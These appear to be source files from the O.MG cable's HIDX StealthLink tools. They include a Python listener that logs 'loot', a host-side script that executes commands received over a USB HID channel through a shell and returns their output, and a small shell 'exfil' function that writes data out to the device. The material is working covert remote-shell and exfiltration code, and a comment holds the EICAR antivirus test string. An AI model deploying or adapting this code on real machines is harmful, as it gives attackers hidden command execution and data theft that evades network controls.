#Required Dependencies: Python3, Network connectivity to O.MG device
#Description:
"""
This Python-script acts as a listener for HIDX Stealthlink, mainly the PoCs provided under:
- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/powershell/win-hidshell.ps1
- https://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-host-universal.py
Configuration in lines 49 - 52
"""
# current issues:
"""
- %quit not closing as intended. CTRL +C required
- input prompt may return before content is finished so you will see things like
$whoami
$root
if you want to fix this easily, just hit another enter as soon as you send a message
- the universal client + universal python target code are slower than native or powershell
- ascii characters are primarily *only* supported, other characters may be stripped
- recvlog doesn't buffer data for efficiency purposes, error checking should (and will) be added later
this will also fix #1
- this client is currently mac or linux only due to select()
"""
import os
import sys
import socket
import select
import logging
import binascii
import argparse
import threading
from datetime import datetime
from time import sleep
from pprint import pprint
# X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
## These can be set but aren't meant to be changed regularly.
remote_prompt = True # Assume that prompt gets received from host - Set to true for Powershell usage
nowait = True # wait or not wait for end of message control characters
delay = None # delay between messages (0.2-0.5 is fine) default to None
windows = False # enable larger buffer, ONLY meant for testing!
def non_blocking_input(prompt="", timeout=5):
print(prompt, end='', flush=True)
rlist, _, _ = select.select([sys.stdin], [], [], timeout)
if rlist:
return sys.stdin.readline().strip()
else:
return None
def pad_input(input_str, left_pad=False, right_pad=False, chunk_size = 8):
if left_pad and right_pad:
raise Exception("[!]Cannot add padding on both the left and right side!")
# default to right pad
if not left_pad and not right_pad:
right_pad = True
padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size
padded_str = None
if isinstance(input_str, bytes):
input_str = input_str.decode("utf-8")
if right_pad:
padded_str = input_str + ' ' * padding_length
if left_pad:
padded_str = ' ' * padding_length + input_str
return padded_str
def split_output(message,chunk_size=8):
chunks = []
for i in range(0,len(message),chunk_size):
raw_message = message[i:i+chunk_size]
padded_message = pad_input(raw_message,right_pad=True)
chunks.append(padded_message)
return chunks
def recvlog(msg):
print(f"{msg}",end="")
logger_received.info(msg)
def handle_client(client_socket,run,rts):
global nowait
no_data_count = 0
while run.is_set():
data = None
try:
data = client_socket.recv(1024).decode()
except OSError as e:
run.clear()
print(f"[!]Socket Exception: {e}")
break
# double check the data
if not data:
recvlog("[!]Socket has disconnected....")
client_socket.shutdown(socket.SHUT_RDWR)
client_socket.close()
run.clear()
break
else:
if "\x07\x17" in data or nowait:
rts.set()
elif "SH" in data:
data = data.strip("\n")
rts.set()
elif data == "" and no_data_count>=2:
rts.set()
#print("Status: %s"%str(rts.is_set()))
recvlog(f"{data}")
def console_input(client_socket,run,rts, server_socket = None):
global nowait, windows, delay, remote_prompt
print("\nHIDX StealthLink Universal Client (type '%quit' to exit)")
debug_send = False
split_messages = True
while run.is_set():
if rts.is_set():
prompt_msg = "\r$"
user_input = ""
if debug_send:
dt = datetime.now().strftime("%M:%S.%f")
user_input = f"CLI {dt}"
else:
if remote_prompt:
prompt_msg = ""
print(prompt_msg, end='', flush=True)
user_input = input()
if not user_input:
continue
if user_input == "%exit" or "%quit" in user_input:
if server_socket:
server_socket.settimeout(1)
#client_socket.shutdown()
client_socket.close()
run.clear()
break
try:
raw_input = user_input + "\n\x07\x17\00"
if windows:
raw_input =pad_input(raw_input,right_pad=True,chunk_size=64)
if logger_sent:
logger_sent.info(raw_input)
output = None
if split_messages:
output = split_output(raw_input)
for m in output:
client_socket.sendall(m.encode())
if delay:
sleep(float(delay))
else:
output = padded_input.encode()
client_socket.sendall(output)
if not nowait:
rts.clear()
except OSError as e:
print(f"[!]Socket Exception: {e}")
run.clear()
#client_socket.shutdown()
client_socket.close()
break
def hidxcli(host, port,reuse=True):
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if reuse:
server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
run = threading.Event()
run.set()
rts = threading.Event()
rts.set()
try:
server_socket.bind((host, port))
server_socket.listen(1)
server_socket.settimeout(1)
print(f"[*]Server listening on {host}:{port}")
while run.is_set():
client_socket,addr = None,None
try:
client_socket, addr = server_socket.accept()
recvlog(f"[+]O.MG Device connected from {addr[0]}:{addr[1]}")
rts.set()
except socket.timeout:
pass
if client_socket:
client_thread = threading.Thread(target=handle_client, args=(client_socket,run,rts,))
client_thread.start()
console_thread = threading.Thread(target=console_input, args=(client_socket,run,rts,server_socket,))
console_thread.start()
finally:
print("[?]Attempting to close..")
server_socket.shutdown(socket.SHUT_RDWR)
server_socket.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Client")
parser.add_argument("host", type=str, nargs="?", default="0.0.0.0", help="address to bind to")
parser.add_argument("port", type=int, nargs="?", default=1234, help="port to listen on")
parser.add_argument("sendlog", type=str, nargs="?", help="message send log")
parser.add_argument("recvlog", type=str, nargs="?", default="hidxrecv.log", help="message receive log (for loot)")
args = parser.parse_args()
global logger_received, logger_sent
logger_received = logging.getLogger("received_data")
logger_received.addHandler(logging.FileHandler(args.recvlog))
logger_received.setLevel(logging.INFO)
logger_sent = None
if args.sendlog:
logger_sent = logging.getLogger("sent_data")
logger_sent.addHandler(logging.FileHandler(args.sendlog))
logger_sent.setLevel(logging.INFO)
hidxcli(args.host, args.port)
================================================
FILE: tools/HIDX/python/stealthlink-host-universal.py
================================================
# NOTE: This is a POC only
# This has certain limitations on size of packets and writes
# You may need root access to use this.
# mischief gadgets, wasabi 2023
#####
##### NOTE: THIS REQUIRES pyusb and libusb (either via pip3 install libusb_package or libusb1.0 library on your system)
#####
import os
import sys
import string
import select
import pkgutil
import usb.core as uc
import usb.util as uu
import importlib
import subprocess
import argparse
from datetime import datetime
# CHANGE THESE TO YOUR CABLES VID AND PID
from pprint import pprint
class HIDX():
def __init__(self,vid=None,pid=None,debug=False,sbuff=8,rbuff=8):
# device information and endpoints
self.vid = None
self.pid = None
self.int = None
self.dev = None
self.dev_backend = None
self.reattach = False
self.cfg = None
self.debug = debug
# set sizes
self.read_buff_size = rbuff
self.write_buff_size = sbuff
# code handlers for errors and messages
self.send_buff = []
self.recv_buff = []
self.read_errors = 0
self.write_errors = 0
# start things if we need...
if vid and pid:
setup = self.setup_dev(vid=vid,pid=pid)
self.vid = vid
self.pid = pid
if self.debug:
self.find_devs()
if not setup:
print("Failed to initalize.")
sys.exit(1)
else:
print("No VID or PID Provided")
self.find_devs()
def display_dev(self,vid=None,pid=None):
if not vid and not pid:
hvid = hex(self.vid)
hpid = hex(self.pid)
else:
hvid = hex(vid)
hpid = hex(pid)
return f"VendorID={hvid} ({vid}), ProductID={hpid} ({pid}). [R:{self.read_buff_size}/S:{self.write_buff_size}]"
def do_cmd(self,cmd):
debug_send = False
if debug_send:
print(f"CMD = {cmd}")
dt = datetime.now().strftime("%M:%S.%f")
user_input = f"HST {dt}\n"
return user_input
else:
#was c = os.popen(cmd)
if "cd " in cmd:
try:
os.chdir(cmd.split(" ")[1])
except:
os.chdir(os.getcwd())
c = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
stdout_output = c.stdout
stderr_output = c.stderr
return stdout_output
def find_devs(self):
dev = None
try:
dev = uc.find(find_all=True)
self.dev_backend = "pyusb"
except uc.NoBackendError:
if pkgutil.find_loader('libusb_package'):
libusb_package = importlib.import_module('libusb_package')
self.dev_backend = "libusb_package"
dev = libusb_package.find(find_all=True)
else:
print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ")
return False
if dev:
print("Detecting Available USB Devices:")
for cfg in dev:
print('\tUSB Device Found: VendorID=' + hex(cfg.idVendor) + ' & ProductID=' + hex(cfg.idProduct) + '\n')
print("\n")
else:
print("Unable to enumerate available USB Devices. Likely permissions issues!")
def setup_dev(self,vid,pid):
dev = None
dev_id = self.display_dev(vid,pid)
if self.debug:
print(f"Attempting to find Device: {dev_id}")
try:
dev = uc.find(idVendor=vid, idProduct=pid)
pprint(dev)
self.dev_backend = "pyusb"
if self.debug:
print("Using pyusb+libusb")
except uc.NoBackendError:
if pkgutil.find_loader('libusb_package'):
libusb_package = importlib.import_module('libusb_package')
self.dev_backend = "libusb_package"
dev = libusb_package.find(idVendor=vid, idProduct=pid)
if self.debug:
print("Using pyusb+lisbusb_package")
else:
print("No suitable backend was found. Attempted to use libusb (pyusb) and libusb_package+pyusb. ")
return False
if not dev:
print(f"Could not find device: {dev_id}")
return False
self.reattach = False
try:
if hasattr(dev,"is_kernel_driver_active") and dev.is_kernel_driver_active(2):
self.reattach = True
dev.detach_kernel_driver(2)
except NotImplementedError:
pass
self.cfg = dev.get_active_configuration()
self.int = self.cfg.interfaces()[2]
self.dev = dev
print(f"Found and Connecting to Device: {dev_id}")
return True
def pad_input(self,input_str, left_pad=False, right_pad=False, chunk_size = 8):
if left_pad and right_pad:
raise Exception("Cannot add padding on both the left and right side!")
# default to right pad
if not left_pad and not right_pad:
right_pad = True
padding_length = (chunk_size - (len(input_str) % chunk_size)) % chunk_size
padded_str = None
if isinstance(input_str, bytes):
input_str = self.decode_msg(input_str)
if right_pad:
padded_str = input_str + ' ' * padding_length
if left_pad:
padded_str = ' ' * padding_length + input_str
return padded_str
def split_output(self,message,chunk_size=8):
chunks = []
for i in range(0,len(message),chunk_size):
raw_message = message[i:i+chunk_size]
padded_message = self.pad_input(raw_message,right_pad=True)
chunks.append(padded_message)
return chunks
def write(self,msg=None, buffer_limit=8):
endpoint = self.int.endpoints()[1]
error = False
start_buffer_size = len(self.send_buff)
write_bytes = 0
if msg:
self.send_buff=self.send_buff+self.split_output(bytes(msg,'utf-8'),chunk_size=buffer_limit)
if self.debug:
print(f"Msg:{msg} = {self.send_buff}")
if len(self.send_buff)>0:
try:
part = b""
if len(self.send_buff)>0:
part = self.send_buff.pop(0)
endpoint.write(part)
write_bytes = len(part)
end_buffer_size = len(self.send_buff)
if self.debug:
print(f"Write Buffer: ob:{start_buffer_size},wb:{write_bytes},eb:{end_buffer_size}")
except Exception as e:
print(f"Error in write, {e}")
error = True
return error, write_bytes
def _read(self, buffer_limit=8,report_size=8,timeout=200):
endpoint = self.int.endpoints()[0]
res = None
error = False
raw_message = b""
recv_packets = 0
recv_bytes = 0
try:
remainder = buffer_limit+report_size*2
while (remainder > report_size):
if self.debug:
print("In _read loop...")
remainder -= report_size
rawdata = bytes(self.dev.read(endpoint.bEndpointAddress, report_size, timeout)).rstrip(b"\x00")
procdata = b""
for _r in rawdata:
if 32 <= _r <= 126 or _r in [10]:
procdata+=chr(_r).encode()
raw_message+=procdata
#print(f"{remainder}/{report_size} = {procdata}")
recv_packets += 1
recv_bytes += len(rawdata)
except uc.USBTimeoutError:
pass
except uc.USBError:
print("Lost device, must attempt to reconnect.")
#self.reattach=True
#self.setup_dev(self.vid,self.pid)
error = True
pass # for now so we just time out eventually
# do a decode
if recv_packets>0:
data_str = ""
for c in raw_message:
data_str += chr(c)
res = data_str
else:
pass
return error, recv_packets, recv_bytes, res
def read(self, retries=1):
raw_message = b""
empty_message = 0
error = False
recv_bytes=0
recv_packet=0
while retries>0:
if self.debug:
print("In read loop...")
try:
error, recv_packet, recv_byte, raw_data = self._read(
buffer_limit=(self.read_buff_size*4),
report_size=self.read_buff_size
)
recv_bytes+=recv_byte
recv_packet+=recv_packet
if error:
print("! Error detected in read()")
return raw_message
if recv_byte == 0:
retries-=1
else:
# 0a 20 20 20 20
raw_message+=bytes(raw_data,'utf-8')
break
except KeyError:
error=True
retries-=1
if self.debug:
print("debug: listening for data")
return error, recv_packet, recv_bytes, raw_message
def setWriteBuffSize(self,size):
self.write_buff_size = size
return size
def setReadBuffSize(self,size):
self.read_buff_size = size
return size
def decode_msg(self,data):
content = None
try:
content = data.decode('utf-8')
except UnicodeDecodeError:
content = data.decode('latin-1')
return content
def start(self,max_errors=5):
iter = 1
clear_errcnt = 0
while self.write_errors < max_errors and self.read_errors < max_errors:
result = None
read_error, recv_packet, recv_bytes, raw_message = self.read()
if self.debug:
print("In main loop...")
if read_error:
self.read_errors+=1
else:
if recv_bytes > 0 and len(raw_message)>1:
commands = raw_message.decode("utf-8").rstrip().replace("\\n","\n").split("\n")
for command in commands:
if self.debug:
print("In command loop...")
result = None
cleaned_command = command.rstrip().replace("\n","").replace("\r","").rstrip().strip()
if self.debug:
print(f"RECV: '{cleaned_command}'\n")
try:
result = self.do_cmd(cleaned_command)
except Exception as e:
print(f"error! {e}")
if result and self.debug:
print("Got new data!")
if result:
result = result + "\x07\x17\x00\x00"
write_error,send_bytes = self.write(result,self.write_buff_size)
if write_error:
self.write_errors+=1
result=None
write_error,send_bytes = self.write(result,self.write_buff_size)
if write_error:
self.write_errors+=1
iter += 1
if (clear_errcnt > 24):
self.read_errors = 0
self.write_errors = 0
def send(self,message,max_errors=5):
iter = 1
clear_errcnt = 0
write_error,send_bytes = self.write(message,self.write_buff_size)
self.write_errors =+ 1
if self.debug:
print("Sending message: %d" % len(message))
while len(self.send_buff)>0 and (self.write_errors < max_errors and self.read_errors < max_errors):
result = message
write_error,send_bytes = self.write(None,self.write_buff_size)
if write_error:
self.write_errors+=1
iter += 1
if (clear_errcnt > 24):
self.read_errors = 0
self.write_errors = 0
if self.write_errors>2:
print(f"Send incomplete. Total errored packets: {self.write_errors}")
else:
print("Send Complete")
if __name__ == "__main__":
def clean_id(inmsg):
hexstr = "0x"+str(inmsg).lower().replace("0x","")
return int(hexstr,16)
def read_stdin():
content = None
# to work around certain windows errors that may pop up
try:
if not sys.stdin.isatty():
data = sys.stdin.buffer.read().strip()
if data:
try:
# Try decoding using 'utf-8'
content = data.decode('utf-8')
except UnicodeDecodeError:
# If 'utf-8' decoding fails, try 'latin-1'
content = data.decode('latin-1')
except:
pass
return content
parser = argparse.ArgumentParser(description="HIDUniversal Tool")
parser.add_argument("--vid", type=str, default="0xd3c0", help="Specify vid parameter")
parser.add_argument("--pid", type=str, default="0xd34d", help="Specify pid parameter")
parser.add_argument("--debug", action="store_true", help="Enable debug mode")
parser.add_argument("--readbuff", type=int, help="Specify read buffer size",default=8)
parser.add_argument("--sendbuff", type=int, help="Specify send buffer size",default=8)
args = parser.parse_args()
debug = False
if args.debug:
debug=True
print("Starting Up...")
hdx = HIDX(vid=clean_id(args.vid),pid=clean_id(args.pid),rbuff=int(args.readbuff),debug=debug,sbuff=int(args.sendbuff))
stdin_data = read_stdin()
if stdin_data:
if debug:
print("In STDIN Mode")
hdx.send(stdin_data)
else:
if debug:
print("In Interactive Shell Mode")
hdx.start()
================================================
FILE: tools/HIDX/shell/linux-hidexfil.sh
================================================
#!/bin/sh
# Note: This uses base components to implement
# More advanced techniques are possible
# but this is a simple demo to allow you to call exfil "data"
# and write it out
# wasabi
getOMGDev(){
# not perfect but just looking for the last hid device we found
devn=$(dmesg|grep hidraw|grep hiddev|grep input2|tail -n1|awk -F ',' '{print $2}'|awk -F ':' '{print $1}')
echo $devn
}
exfil(){
IN="$1"
OUT=$(getOMGDev)
# thats it!
echo "${IN}" > "${OUT}"
}